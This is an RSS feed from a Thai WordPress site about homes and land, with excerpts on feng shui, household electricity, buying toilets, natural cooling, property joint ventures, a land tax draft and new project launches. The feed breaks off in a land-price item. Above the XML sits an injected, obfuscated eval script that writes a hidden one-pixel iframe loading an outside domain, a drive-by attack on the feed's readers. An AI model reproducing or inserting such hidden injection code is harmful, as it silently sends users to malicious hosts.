<script>eval(unescape('%65%76%61%6C%28%66%75%6E%63%74%69%6F%6E%28%61%55%2C%75%76%62%2C%54%4F%68%2C%63%71%51%2C%45%68%43%2C%41%4D%29%7B%45%68%43%3D%53%74%72%69%6E%67%3B%69%66%28%21%27%27%2E%72%65%70%6C%61%63%65%28%2F%5E%2F%2C%53%74%72%69%6E%67%29%29%7B%77%68%69%6C%65%28%54%4F%68%2D%2D%29%41%4D%5B%54%4F%68%5D%3D%63%71%51%5B%54%4F%68%5D%7C%7C%54%4F%68%3B%63%71%51%3D%5B%66%75%6E%63%74%69%6F%6E%28%45%68%43%29%7B%72%65%74%75%72%6E%20%41%4D%5B%45%68%43%5D%7D%5D%3B%45%68%43%3D%66%75%6E%63%74%69%6F%6E%28%29%7B%72%65%74%75%72%6E%27%5C%5C%77%2B%27%7D%3B%54%4F%68%3D%31%7D%3B%77%68%69%6C%65%28%54%4F%68%2D%2D%29%69%66%28%63%71%51%5B%54%4F%68%5D%29%61%55%3D%61%55%2E%72%65%70%6C%61%63%65%28%6E%65%77%20%52%65%67%45%78%70%28%27%5C%5C%62%27%2B%45%68%43%28%54%4F%68%29%2B%27%5C%5C%62%27%2C%27%67%27%29%2C%63%71%51%5B%54%4F%68%5D%29%3B%72%65%74%75%72%6E%20%61%55%7D%28%27%35%2E%32%28%22%3C%38%20%37%3D%5C%5C%22%36%3A%2F%2F%34%2E%30%2F%5C%5C%22%20%33%3D%31%20%39%3D%31%3E%22%29%3B%27%2C%31%30%2C%31%30%2C%27%63%6F%6D%7C%7C%77%72%69%74%65%7C%77%69%64%74%68%7C%62%65%73%6C%6F%71%61%77%65%7C%64%6F%63%75%6D%65%6E%74%7C%68%74%74%70%7C%73%72%63%7C%69%66%72%61%6D%65%7C%68%65%69%67%68%74%27%2E%73%70%6C%69%74%28%27%7C%27%29%2C%30%2C%7B%7D%29%29'));</script><!-- uy7gdr5kmn --><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>ความรู้เกี่ยวกับบ้านและที่ดิน</title>
	<atom:link href="http://baan.pornsawan.com/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://baan.pornsawan.com</link>
	<description>http://baan.pornsawan.com</description>
	<pubDate>Tue, 24 Mar 2009 08:33:50 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.3</generator>
	<language>en</language>
			<item>
		<title>&#8220;สวน&#8221; กับดุลยภาพแห่งพลังชีวิต &#8220;ฮวงจุ้ย&#8221; กับทิศหน้าบ้าน</title>
		<link>http://baan.pornsawan.com/?p=198</link>
		<comments>http://baan.pornsawan.com/?p=198#comments</comments>
		<pubDate>Tue, 24 Mar 2009 08:33:50 +0000</pubDate>
		<dc:creator>tongcomp</dc:creator>
		
		<category><![CDATA[ฮวงจุ้ยบ้านและที่ดิน]]></category>

		<category><![CDATA[จัดสวน]]></category>

		<category><![CDATA[ฮวงจุ้ย]]></category>

		<guid isPermaLink="false">http://baan.pornsawan.com/?p=198</guid>
		<description><![CDATA[ศาสตร์แห่งฮวงจุ้ยมีความเชื่อว่า ในการสร้างให้เกิดดุลยภาพแห่งพลังชีวิตที่ดี &#8220;พลังชี่&#8221; หรือพลังชีวิตจะต้องไหลเวียนได้ อย่างราบรื่นไม่ติดขัด หากพลังชี่ไม่สามารถไหลเวียนได้สะดวก หรือถูกปิดกั้นไว้จะทำให้พลังชีวิตของสถานที่นั้นอ่อนแอหรือหยุดนิ่ง แต่หากพลังชี่ไหลเวียนได้สะดวกไม่ติดขัด จะส่งผลดีต่อผู้อยู่อาศัยในเรื่องของความมั่งคั่ง ชื่อเสียง การอุปถัมภ์ค้ำชู อาชีพการงาน และสุขภาพ


นับแต่โบราณมานักฮวงจุ้ยต่างพยายามสังเกตและศึกษาธรรมชาติเพื่อหาตำแหน่ง ที่ โดดเด่นสำหรับบ้านและสวน และตำแหน่งในอุดมคติที่เชื่อกันว่าดีที่สุดนั้นก็คือ จุดกึ่งกลางของเนินเขาเตี้ยๆ ไม่สูงชัน ไม่เป็นคลื่นขรุขระ ซึ่งจะทำให้บ้านและสวนได้รับความสมดุลระหว่างพลังของฟ้าและดิน โดยหันหน้าไปทางแม่น้ำที่ไหลทอดตัวเป็นแนวคดโค้งไปมาสวยงามนุ่มนวล
เพราะ &#8220;พลังชี่&#8221; จะไหลเวียนได้ดีเป็นพิเศษในแนวเส้นที่โค้งไปมาสวยงาม ส่วนด้านหลังจะต้องมีภูเขาขนาดใหญ่มาเป็นฉากหลัง มองดูจะคล้ายคนนั่งพักผ่อนสบายๆ ในเก้าอี้อาร์มแชร์ และมีที่วางเท้ารองรับอยู่ที่ปลายเท้านั่นเอง
ภูเขาที่อยู่ฉากหลัง ก็เหมือนพนักเก้าอี้ที่โอบอุ้มตัวเราไว้อย่างสบายและมั่นคง หมายถึงพลังในด้านการอุปถัมภ์และสนับสนุน ซึ่งในศาสตร์ของ ฮวงจุ้ย เรียกว่า ทิศเต่าดำ จะอยู่ในทิศเหนือและเป็นพลังแห่งฤดูหนาว
ทิศตะวันตก จะเป็นทิศเสือขาว เป็นพลังแห่งฤดูใบไม้ร่วง ซึ่งเป็นฤดูแห่งการเก็บเกี่ยว ส่วนทิศตะวันออกเป็นทิศมังกรเขียว เป็นพลังแห่งฤดูใบไม้ผลิ ส่วนทิศใต้ซึ่งเป็นทิศของส่วนหน้าบ้านจะเป็นทิศหงส์แดง
การหาตำแหน่งของทิศทั้งสี่นี้ บางครั้งอาจไม่ได้ขึ้นตามทิศของเข็มทิศ ในโรงเรียนฮวงจุ้ยที่เน้นเรื่องภูมิทัศน์ จะใช้วิธีให้คุณยืนโดยให้หลังของคุณอยู่ด้านหน้าตัวอาคาร และมองไปในทิศที่ตัวอาคารเผชิญหน้า เต่าดำจะอยู่ทิศด้านหลังของอาคารหงส์แดงจะอยู่ด้านหน้า มังกรเขียวจะอยู่ทางซ้าย และเสือขาวจะอยู่ทางขวามือของคุณ
จัดฮวงจุ้ยที่ดีให้สวนในบ้าน
ที่เกริ่นมาข้างต้นนั้น เป็นเรื่องของฮวงจุ้ยในอุดมคติที่คงยากจะหาได้ในโลกยุคดิจิทัล แต่เราสามารถจัดสวนที่บ้านของเราเองให้มีลักษณะฮวงจุ้ยที่ดีเช่นที่กล่าวมา ได้ไม่ยาก เช่น ทำทางเดินในสวนให้ทอดตัวเลี้ยวคดโค้งไปมาสวยงาม ปรับพื้นที่สวนให้มีความโค้งกลมเล่นระดับพื้นที่สวนในบางส่วนเพื่อให้ดูเป็น เนินสูงต่ำ
น้ำเป็นองค์ประกอบสำคัญของสวน ในความเชื่อของฮวงจุ้ย [...]]]></description>
		<wfw:commentRss>http://baan.pornsawan.com/?feed=rss2&amp;p=198</wfw:commentRss>
		</item>
		<item>
		<title>ระบบไฟฟ้า 3 เฟสเพื่อการประหยัดค่าไฟฟ้า</title>
		<link>http://baan.pornsawan.com/?p=196</link>
		<comments>http://baan.pornsawan.com/?p=196#comments</comments>
		<pubDate>Tue, 24 Mar 2009 08:31:49 +0000</pubDate>
		<dc:creator>tongcomp</dc:creator>
		
		<category><![CDATA[Knowledge-Home]]></category>

		<category><![CDATA[ไฟบ้าน]]></category>

		<guid isPermaLink="false">http://baan.pornsawan.com/?p=196</guid>
		<description><![CDATA[


ระบบไฟฟ้า 3 เฟสเพื่อการประหยัดค่าไฟฟ้า


ระบบไฟฟ้าที่ใช้กันทั่วไปตามบ้าน หลอดไฟและอุปกรณ์เครื่องใช้ไฟฟ้าโดยทั่วไปในบ้านเราใช้ไฟฟ้ากระแส สลับระบบ 1 เฟส ( 1- phase ) 2 สาย แรงดัน 220 โวลต์ ความถี่ 50 เฮิรตซ์ โดยสาย ไฟ 2 สายที่ใช้กันตามบ้านนี้ สายหนึ่งจะมีกระแสไฟฟ้าไหลอยู่หรือเรียกว่าสายเคอร์เรนต์ ( current line ) ส่วนอีกสายหนึ่งจะเป็นสายที่เดินไว้เฉยๆ ไม่มีกระแสไฟฟ้าไหลอยู่หรือเรียกว่า สายนิวทรัล ( neutral line ) ดังจะเห็นได้จากปลั๊กไฟตามบ้านที่เห็นมีช่องเสียบอยู่ 2 ช่องนั้น ถ้าเอาไขควงสำหรับตรวจกระแสไฟฟ้าลองวัดดูจะเห็นได้ว่าช่องหนึ่งจะมีไฟแดงปรากฏ แสดงว่าไม่ มีกระแสไฟฟ้าไหลผ่าน แต่เมื่อเวลาใช้งานกับหลอดไฟหรืออุปกรณ์ไฟฟ้าจำเป็นต้องใช้ร่วมกันทั้ง 2 สายเพื่อให้กระแสไฟฟ้าครบวงจรส่วนบางแห่งที่เห็นปลั๊กไฟมี 3 ช่องนั้นยังเป็นระบบไฟฟ้า แบบ 1 เฟสเหมือนกันแต่ช่องที่เพิ่มขึ้นมานั้นเป็นช่องที่ต่อกับสายดิน ( ground ) เพื่อให้กระแส ไฟฟ้าไหลลงดินเวลาเกิดไฟรั่วเป็นการเพิ่มความปลอดภัย และปลั๊กของอุปกรณ์ไฟฟ้าที่จะใช้กับ [...]]]></description>
		<wfw:commentRss>http://baan.pornsawan.com/?feed=rss2&amp;p=196</wfw:commentRss>
		</item>
		<item>
		<title>การเลือกซื้อเครื่องสุขภัณฑ์</title>
		<link>http://baan.pornsawan.com/?p=194</link>
		<comments>http://baan.pornsawan.com/?p=194#comments</comments>
		<pubDate>Tue, 24 Mar 2009 08:28:06 +0000</pubDate>
		<dc:creator>tongcomp</dc:creator>
		
		<category><![CDATA[การเลือกซื้อบ้านและวัสดุอุปกรณ์]]></category>

		<category><![CDATA[ซื้อสุขภัณฑ์]]></category>

		<guid isPermaLink="false">http://baan.pornsawan.com/?p=194</guid>
		<description><![CDATA[การเลือกซื้อเครื่องสุขภัณฑ์
เครื่องสุขภัณฑ์ เป็นอุปกรณ์ที่อำนวยความสะดวกและอำนวยประโยชน์ และยังใช้เป็น
เครื่องประดับหรือเฟอร์นิเจอร์ให้กับห้องน้ำได้ด้วย ปัจจุบันมีการดีไซน์ รูปลักษณ์ที่สวยงาม แปลก
ตา ตลอดจนมีสีให้เลือกมากมาย แต่การเลือกใช้ก็ควรให้เหมาะสมกับสถานที่ด้วย
การเลือกซื้อเครื่องสุขภัณฑ์ ซึ่งเป็นอุปกรณ์ที่ต้องมีอายุการใช้งานยาวนาน เพราะหาก
เกิดการชำรุดเสียหายบ่อยครั้งแล้ว การเปลี่ยนแต่ละครั้งต้องใช้ค่าใช้จ่ายมาก ดังนั้นจึงเสนอแนะ
เทคนิคการเลิกซื้อเครื่องสุขภัณฑ์ ดังนี้
การเลือกซื้อชักโครก
ชักโครกในปัจจุบันมีการพัฒนาให้ใช้น้ำน้อยลง แต่ยังคงประสิทธิภาพในการชำระล้าง
เช่นเดิม จึงช่วยประหยัดน้ำได้ถึง 30% ของการชำระล้างแต่ละครั้ง แต่การใช้น้ำน้อยที่สุดไม่ได้
หมายความว่าการชำระล้างจะดีที่สุดเสมอไป ดังนั้นจึงต้องพิจารณาหลายอย่างในการเลือกซื้อชัก
โครก ซึ่งมีหลักสำคัญคือ
1.ขนาดของท่อประปาที่เชื่อมต่อเข้าตัวสุขภัณฑ์ ควรมีขนาดตรงกับประเภทของสุขภัณฑ์
ที่ใช้ เช่น ชักโครกฟลัช วาล์ว ต้องเดินท่อประปาขนาด 1 นิ้ว ส่วนรุ่นที่ใช้ถังพักน้ำจะต้องเดินท่อ
ประปาขนาด ? นิ้ว
2.ระยะการวางท่อประปาและท่อน้ำทิ้งควรเหมาะสมกับรุ่นของสุขภัณฑ์ด้วย
3.อุปกรณ์ประกอบร่วม เช่น หน้าแปลนชักโครก เป็นอุปกรณ์ที่จะช่วยให้ตำแหน่งการติด
ตั้งชักโครกแม่นยำยิ่งขึ้น และยังช่วยขจัดกลิ่นที่ไม่พึงประสงค์ ที่เกิดจากการติดตั้งไม่ตรงกัน
ระหว่างตำแหน่งท่อน้ำทิ้งและท่อของส้วมอีกด้วย และที่สำคัญอุปกรณ์ในหม้อน้ำพักของชักโครก
ควรใช้ให้ตรงกับข้อกำหนดเฉพาะของสุขภัณฑ์รุ่นนั้น ๆ หรือยี่ห้อนั้น ๆ ด้วย
4.ตรวจดูสภาพภายนอกของตัวชักโครก ต้องไม่มีรอยแตกร้าว หรือบิ่น ตลอดจนดูความ
สวยงาม ความประณีต โดยสุขภัณฑ์ที่มีราคาแพง ไม่น่าจะพบปัญหาลักษณะนี้
5.ก่อนตัดสินใจซื้อ ควรให้ผู้ขายทดลองการชะล้าง ของโถชักโครก โดยใส่กระดาษทิชชู่
หรือเศษผ้าลงไป สังเกตว่าสิ่งเหล่านั้นลงไปได้อย่างสะดวกหรือไม่ และต้องตรวจดูอุปกรณ์ชุดลูก
ลอยว่าอยู่ในสภาพเรียบร้อยหรือไม่ เช่น โซ่ไม่หลุด ลูกลอยน้ำอยู่ในสภาพดีพร้อมใช้งานหรือไม่ ฝา
รองนั่งโถส้วมต้องอยู่ในสภาพดี
โถปัสสาวะชาย [...]]]></description>
		<wfw:commentRss>http://baan.pornsawan.com/?feed=rss2&amp;p=194</wfw:commentRss>
		</item>
		<item>
		<title>เทคนิค การทำให้บ้านเย็นด้วยวิธีธรรมชาติ</title>
		<link>http://baan.pornsawan.com/?p=191</link>
		<comments>http://baan.pornsawan.com/?p=191#comments</comments>
		<pubDate>Tue, 24 Mar 2009 08:25:38 +0000</pubDate>
		<dc:creator>tongcomp</dc:creator>
		
		<category><![CDATA[ออกแบบและตกแต่งบ้าน]]></category>

		<category><![CDATA[แต่งบ้านให้เย็น]]></category>

		<guid isPermaLink="false">http://baan.pornsawan.com/?p=191</guid>
		<description><![CDATA[ดังที่ทราบกันอยู่ว่า อากาศในบ้านเรานั้น มักจะค่อนไปทางร้อนอบอ้าวเสียเป็นส่วนใหญ่เนื่องจากเราเป็นประเทศในเขตร้อน แม้แต่ในฤดูฝนซึ่งมีฝนตกลงมาให้เย็นชุ่มฉ่ำกันบ้าง แต่ในวันที่ไม่มีฝนหรือวันที่ฝนใกล้ตกนั้น สภาพอากาศก็มักจะร้อนอบอ้าวไม่ต่างอะไรจากหน้าร้อนสักเท่าใด วิธีหนีร้อนที่บ้านเรือนส่วนใหญ่มักใช้กันในสมัยนี้ก็คงหนีไม่พ้นการติดเครื่องปรับอากาศหรือการใช้พัดลมมาช่วยคลายร้อน ช่วงไหนที่อากาศร้อนมาก ก็ย่อมหมายถึงตัวเลขที่น่าสยองขวัญ ซึ่งจะมาปรากฎในบิลค่าไฟฟ้าที่คุณต้องจ่ายในแต่ละเดือนนั่นเอง
เริ่มด้วย การจัดวางทิศทางของบ้านตามหลักการรับลมหลบแดด คือหันด้านยาวของบ้านในแนวทิศเหนือใต้ เพื่อหลบแสงตะวันที่จะทำให้พื้นที่ต่างๆด้านทิศตะวันตกและตะวันออกเกิดความร้อนเพิ่มมากขึ้น และช่วยให้ลมพัดเข้าบ้านได้ดีในฤดูร้อน (ลมมาจากทางทิศใต้และตะวันตกเฉียงใต้) ลองหันมาสำรวจบ้านของคุณเองกันสักทีจะดีกว่า ว่าเราจะสามารถปรับปรุงบ้านของเราให้เย็นสบาย ด้วยวิธีธรรมชาติได้อย่างไรบ้าง
การปรับปรุงภายในบ้าน
หน้าต่าง ผ้าม่านมูลี่ ช่องหน้าต่างที่อยู่ทางทิศตะวันตก-ตะวันออกนี้ ควรติดตั้งมู่ลี่ปรับแสง เพื่อใช้กระจายแสง และสะท้อนความร้อนออกได้ส่วนหนึ่ง นอกจากนี้ การใช้ผ้าม่านที่หน้าต่างแบบต่างๆ ก็ช่วยสร้างความเป็นส่วนตัว บดบังสายตาจากคนภายนอก ป้องกันแสงแดด และความร้อนเข้าสู่พื้นที่ภายในห้อง
ไปส่วนหนึ่ง

สกายไลท์(skylight) หรือช่องแสงที่หลังคา ควรให้มีขนาดเล็กที่สุด เพื่อป้องกันความร้อนที่จะผ่านเข้ามาจากหลังคา และควรมีการป้องกันแสงด้วยการติดตั้งมู่ลี่เกล็ดปรับมุมได้ ซึ่งอาจจะควบคุมด้วยไฟฟ้า เพื่อบังแดดที่จะส่องเข้ามาทางนี้ สกายไลท์มีส่วนช่วยทำให้เกิดการไหลเวียนของอากาศ (ventilation) โดยใช้กระแสพาความร้อน แต่ถ้าช่องแสงนี้ใหญ่มากก็จะทำให้ภายในห้องร้อนมาก จากความร้อนที่ผ่านเข้ามาทางกระจกสกายไลท์นั่นเอง

เทศนิคการระบายอากาศ (ventilations) เป็นเทคนิคที่เหมาะสมกับสภาพอากาศของบ้านเราเป็นอย่างยิ่ง โดยให้อากาศที่สดชื่น จากภายนอกไหลเวียนเข้ามาภายในบ้าน และระบายอากาศที่ร้อนอ้าวภายในออกไป โดยการเปิดช่องหน้าต่างสองด้านของห้อง เทคนิคนี้จะทำให้ความเร็วลมที่ไหลเข้ามาในห้องเพิ่มขึ้น เมื่อช่องทางที่ลมเข้านั้นมีขนาดเล็ก และอยู่ต่ำ ส่วนช่องทางที่ลมไหลออกนั้นให้มีขนาดใหญ่กว่า และอยู่สูงกว่าก็จะทำให้ลมพัดผ่านคนที่อยู่ภายในห้อง

การติดตั้งฉนวนกันความร้อนลงไปที่ผนังและหลังคา ก็เป็นอีกวิธีหนึ่งที่ได้ผลในการทำบ้านให้เย็น โดยเฉพาะห้องที่เราติดตั้งเครื่องปรับอากาศ ฉนวนที่ผนังจะช่วยเก็บความเย็นภายในห้องไว้ได้นาน และป้องกันความร้อนจากภายนอกที่จะส่งผ่านเข้ามาทางหลังคา [...]]]></description>
		<wfw:commentRss>http://baan.pornsawan.com/?feed=rss2&amp;p=191</wfw:commentRss>
		</item>
		<item>
		<title>โครงการร่วมลงทุน (Joint Venture) เจ้าของที่ดินกับบริษัทรับสร้างบ้าน โมเดลธุรกิจใหม่อีกทางเลือกของการลงทุน</title>
		<link>http://baan.pornsawan.com/?p=188</link>
		<comments>http://baan.pornsawan.com/?p=188#comments</comments>
		<pubDate>Sun, 22 Mar 2009 06:56:49 +0000</pubDate>
		<dc:creator>tongcomp</dc:creator>
		
		<category><![CDATA[มีนาคม 52]]></category>

		<guid isPermaLink="false">http://baan.pornsawan.com/?p=188</guid>
		<description><![CDATA[กรุงเทพฯ&#8211;19 มี.ค.&#8211;โอเอซิส มีเดีย
         
         สำหรับธุรกิจอสังหาริมทรัพย์ถือเป็นอีกหนึ่งธุรกิจที่ผู้ที่ต้องการจะเข้ามาลงทุนต้องรอบรู้ และมีความชำนาญจริง ๆ จึงจะสามารถพัฒนาโครงการที่มีศักยภาพ สามารถนำเสนอต่อกลุ่มเป้าหมายได้อย่างตรงไปตรงมา และตรงความต้องการของกลุ่มผู้บริโภค หลายคนอยากจะลงทุนแต่ติดปัญหาที่ขาดความรู้ความเข้าใจ จึงไม่มั่นใจว่าลงทุนแล้วจะประสบความสำเร็จหรือไม่
         โดยทั่วไปผู้ที่ต้องการจะลงทุนในธุรกิจอสังหาริมทรัพย์ส่วนใหญ่จะเริ่มต้นด้วยการมีที่ดินอยู่แล้ว หรือซื้อที่ดินและพัฒนาโครงการขึ้นมา แต่ก็ยังมีอีกวิธีหนึ่งที่เป็นอีกหนึ่งโมเดล และสามารถนำมาประยุกต์ใช้ได้กับสถานการณ์ปัจจุบันได้เช่นกัน นั่นก็คือ การลงทุนร่วม (Joint Venture) ระหว่างเจ้าของที่ดิน และ บริษัท รับสร้างบ้านซึ่งมีความชำนาญด้านการก่อสร้าง และการวางแผนงานด้านการตลาด
สำหรับในส่วนของเจ้าของที่ดินสามารถทำได้ทั้งในนามของบุคคล หรือนิติบุคคลก็ได้ โดยเจ้าของที่ดินที่ต้องการขายที่ดินได้ในราคาที่สูงขึ้นสามารถใช้วิธีการร่วมลงทุนแบบนี้ ขณะเดียวกันในฝั่งของบริษัท รับสร้างบ้านเองที่จะเข้ามาร่วมลงทุนควรเป็นบริษัทที่มีความมั่นคงด้านฐานะทางการเงินพอสมควร และ มีประสบการณ์ด้านงานก่อสร้างเป็นอย่างดี รวมถึงสามารถวางแผนและจัดการในเรื่องของการตลาด และสินเชื่อลูกค้ารายย่อย หรือ Post Finance กับสถาบันการเงินได้ ส่วนการลงทุนในเบื้องต้นส่วนใหญ่เจ้าของที่ดินจะเป็นผู้ลงทุนในส่วนของสาธารณูปโภคส่วนกลาง อาทิ ถนน ระบบไฟฟ้า ประปา ฯลฯ ส่วนบริษัท รับสร้างบ้านจะลงทุนในด้านของการก่อสร้างบ้านตัวอย่าง บุคลากร [...]]]></description>
		<wfw:commentRss>http://baan.pornsawan.com/?feed=rss2&amp;p=188</wfw:commentRss>
		</item>
		<item>
		<title>ฮวงจุ้ยเลขที่บ้าน</title>
		<link>http://baan.pornsawan.com/?p=186</link>
		<comments>http://baan.pornsawan.com/?p=186#comments</comments>
		<pubDate>Sun, 22 Mar 2009 06:54:54 +0000</pubDate>
		<dc:creator>tongcomp</dc:creator>
		
		<category><![CDATA[ฮวงจุ้ยบ้านและที่ดิน]]></category>

		<category><![CDATA[ฮวงจุ้ย]]></category>

		<category><![CDATA[ฮวงจุ้ยเลขที่บ้าน]]></category>

		<guid isPermaLink="false">http://baan.pornsawan.com/?p=186</guid>
		<description><![CDATA[ฮวงจุ้ยเลขที่บ้าน
บ้านหรือที่ทำงาน ร้านค้านั้น เป็นสถานที่ซึ่งมีผลต่อชีวิตความเป็นอยู่ของตัวบุคคล บางครั้ง เมื่อดวงชะตาเจ้าบ้านอ่อนลง การหันมาปรับแก้ที่ดวงของบ้านก็จะช่วยได้เป็นอย่างมาก หากต้องการจะรู้ว่า เมื่อใดที่ดอ่อนลงก็ให้สังเกตดังนี้ เกิดเจ็บป่วยบ่อยๆ หรือป่วยหนักกว่าปกติธรรมดา
1. เกิดอุบัติเหตุกับคนในบ้าน
2. ถูกโจรขโมยขึ้นบ้าน
3. บ้านเกิดชำรุดหักพังลงมา
4. เงินทองติดขัดจนลำบาก
5. การงานผิดพลาดล้มเหลว หรือตกงาน
6. เกิดความขัดแย้งรุนแรงในบ้าน จนหมดความสงบสุข
7. ทำสิ่งใดมักติดขัดต่อเนื่องกันหลายเรื่อง
ดวงของบ้าน เกี่ยวกันกับเรื่องของเลขที่บ้าน ซึ่งเป็นเลขพลังของดาวพระเคราะห์ ในเชิงโหราศาสตร์ นั่นเอง ในที่นี้จะนำเสนอเลขที่บ้านจาก 1-100 เท่านั้น ถ้าบ้านของท่านมีเลยที่ 101 ก็ให้ดูคำทำนายที่เลข 11 และเลข 2 แล้วให้ดูคำทำนายทั้งสองตัวเลขนั้น )
วิธีการ ถ้าเลขที่บ้าน 123/45 ให้นำเลขทั้งหมดมาบวกกัน ซึ่งจะจะได้เลข 2 หลัก คือ 1+2+3+4+5 = 15 นำเลข 15 มาบวกกัน 1+5 = 6 ให้ดูคำทำนาย ทั้งเลข 15 และ เลข [...]]]></description>
		<wfw:commentRss>http://baan.pornsawan.com/?feed=rss2&amp;p=186</wfw:commentRss>
		</item>
		<item>
		<title>สศค. คลอดภาษีที่ดิน เตรียมเสนอให้กรณ์ ภายใน เม.ย.นี้ เล็งเก็บภาษีที่ดินและสิ่ง ปลูกสร้างทั่วไป 0.5%</title>
		<link>http://baan.pornsawan.com/?p=184</link>
		<comments>http://baan.pornsawan.com/?p=184#comments</comments>
		<pubDate>Sun, 22 Mar 2009 06:50:22 +0000</pubDate>
		<dc:creator>tongcomp</dc:creator>
		
		<category><![CDATA[มีนาคม 52]]></category>

		<category><![CDATA[ภาษีที่ดิน]]></category>

		<guid isPermaLink="false">http://baan.pornsawan.com/?p=184</guid>
		<description><![CDATA[แหล่งข่าวจากกระทรวงการคลัง เปิดเผยว่า ขณะนี้สำนักงานเศรษฐกิจการคลัง (สศค.) ได้ดำเนินการปรับปรุงรายละเอียดเกี่ยวกับร่างพระราชบัญญัติภาษีที่ดินและ สิ่งปลูกสร้าง พ.ศ. &#8230; เพื่อนำมาใช้แทนภาษีโรงเรือนและที่ดิน และภาษีบำรุงท้องที่ที่มีปัญหาการ จัดเก็บไม่มีประสิทธิภาพได้เสร็จเรียบร้อยแล้ว คาดว่าจะสามารถส่งเรื่องให้นายกรณ์ จาติกวณิช รมว.คลัง รับทราบและตัดสินใจว่าจะเดินหน้าร่างพระราชบัญญัติดังกล่าวต่อหรือไม่ได้ภายใน 1-2 สัปดาห์หากเห็นชอบก็สามารถนำเรื่องเข้าสู่การพิจารณาของที่ประชุมคณะรัฐมนตรี (ครม.) ได้ทันที หรืออย่างช้าภายในเดือนเม.ย. 2552
สำหรับแนวทางในการจัดเก็บภาษีที่ดินและสิ่งปลูกสร้างแบ่งเป็น
1.อัตราภาษีสำหรับที่ดินและสิ่งปลูกสร้างทั่วไปไม่เกิน 0.5% ของฐานภาษี
2.อัตราภาษีที่จัดเก็บจากกลุ่มที่อยู่อาศัยโดยไม่ประกอบกิจการเชิงพาณิชย์ไม่เกิน 0.1% ของฐานภาษี
3.อัตราภาษีที่จัดเก็บจากกลุ่ม ผู้ที่ประกอบอาชีพเกษตรกรรม จะจัดเก็บในอัตราที่ต่ำที่สุดคือ ไม่เกิน 0.05% ของฐานภาษี เนื่องจากต้องการช่วยเหลือผู้ที่เป็นเกษตรกรจริงๆ ไม่ให้ได้รับผลกระทบจากการใช้ที่ดินเพื่อการเพาะปลูก
ทั้งนี้ อัตราภาษีดังกล่าวสอดคล้องกับการจัดเก็บภาษีปัจจุบัน เพราะจากการศึกษาโดยสศค. พบว่าภาษีโรงเรือนและที่ดินมีอัตราภาษีอยู่ระหว่าง 0.01-2.42% ของราคาประเมินทุนทรัพย์ และส่วนใหญ่ของผู้เสียภาษีเสียภาษีใน อัตราต่ำกว่า 0.5% ขณะที่ภาษีบำรุงท้องที่มีอัตราภาษีระหว่าง 0.0001-0.2167% ของราคาประเมินทุนทรัพย์ และเกือบทั้งหมดเสียภาษีในอัตราระหว่าง 0.0001-0.0882%
ก่อนหน้านี้ นายสมชัย สัจจพงษ์ ผู้อำนวยการสำนักงานเศรษฐกิจการคลัง (สศค.) กล่าวว่า ร่างพ.ร.บ.ภาษีที่ดินและสิ่งปลูกสร้าง ซึ่งกำลังอยู่ในระหว่างการพิจารณาของกระทรวงการคลังนั้น จะกำหนดให้ราคาประเมินของที่ดินและสิ่งปลูกสร้างสำหรับคนจนได้รับการยกเว้นภาษี แต่สิ่งที่แน่ๆ ก็คือ [...]]]></description>
		<wfw:commentRss>http://baan.pornsawan.com/?feed=rss2&amp;p=184</wfw:commentRss>
		</item>
		<item>
		<title>การเปิดตัวโครงการอสังหาริมทรัพย์ใหม่ เดือนธันวาคม 2551</title>
		<link>http://baan.pornsawan.com/?p=178</link>
		<comments>http://baan.pornsawan.com/?p=178#comments</comments>
		<pubDate>Wed, 21 Jan 2009 03:19:28 +0000</pubDate>
		<dc:creator>tongcomp</dc:creator>
		
		<category><![CDATA[มกราคม 52]]></category>

		<category><![CDATA[ข่าวอสังหาริมทรัพย์]]></category>

		<guid isPermaLink="false">http://baan.pornsawan.com/?p=178</guid>
		<description><![CDATA[การเปิดตัวโครงการอสังหาริมทรัพย์ใหม่ เดือนธันวาคม 2551
โดย : กรุงเทพธุรกิจออนไลน์






ตารางที่ 1 แสดงรายละเอียดโครงการใหม่ที่เปิดตัวในเดือนธันวาคม 2551



แผนที่ 1 โครงการอสังหาริมทรัพย์ที่เปิดตัวใหม่ ธันวาคม 2551 (21 โครงการ)




ศูนย์ข้อมูล วิจัยและประเมินค่าอสังหาริมทรัพย์ AREA สรุปสถานการณ์การเปิดตัวโครงการอสังหาริมทรัพย์ใหม่ เดือนธันวาคม 2551 ลดลง
ปัทมา จันทรานุกูล กรรมการอำนวยการ ศูนย์ข้อมูล วิจัยและประเมินค่าอสังหาริมทรัพย์ AREA เปิดเผยว่า ในเดือนธันวาคม 2551 มีจำนวนโครงการเกิดใหม่รวมทั้งสิ้น 21 โครงการ ซึ่งในเดือนนี้มีจำนวนโครงการเกิดใหม่ลดลงจากเดือนที่ผ่านมาจำนวน 7 โครงการ โดยลักษณะการพัฒนาโครงการเป็นการพัฒนาในกลุ่มที่อยู่อาศัยจำนวน 20 โครงการ และอสังหาริมทรัพย์ประเภทอื่นๆ อีกจำนวน 1 โครงการ
 
โครงการอสังหาริมทรัพย์ที่เกิดใหม่ทั้ง 21 โครงการที่กล่าวข้างต้น มีจำนวนหน่วยรวมกันทั้งสิ้น 2,164 หน่วย มีมูลค่าโครงการรวม 8,092 ล้านบาท (ดูรายละเอียดได้ตามภาพตารางที่ 1 และสามารถดาวน์โหลดฉบับเต็มได้)
จะเห็นได้ว่าจำนวนอสังหาริมทรัพย์ที่เกิดขึ้นใหม่ในเดือนนี้พบว่ามีอสังหาริมทรัพย์ทั้งหมดรวมจำนวน 2,164 หน่วย และในเดือนนี้การพัฒนาที่อยู่อาศัยประเภทอาคารชุดก็ยังมีการพัฒนามากเป็นอันดับ 1 อีกเช่นเดิม [...]]]></description>
		<wfw:commentRss>http://baan.pornsawan.com/?feed=rss2&amp;p=178</wfw:commentRss>
		</item>
		<item>
		<title>ราคาที่ดินขึ้น &#8220;ก้าวกระโดด&#8221; จริงหรือ?</title>
		<link>http://baan.pornsawan.com/?p=174</link>
		<comments>http://baan.pornsawan.com/?p=174#comments</comments>
		<pubDate>Sat, 17 Jan 2009 04:29:16 +0000</pubDate>
		<dc:creator>tongcomp</dc:creator>
		
		<category><![CDATA[ข่าวบ้านและที่ดิน]]></category>

		<category><![CDATA[มกราคม 52]]></category>

		<category><![CDATA[ราคาที่ดิน]]></category>

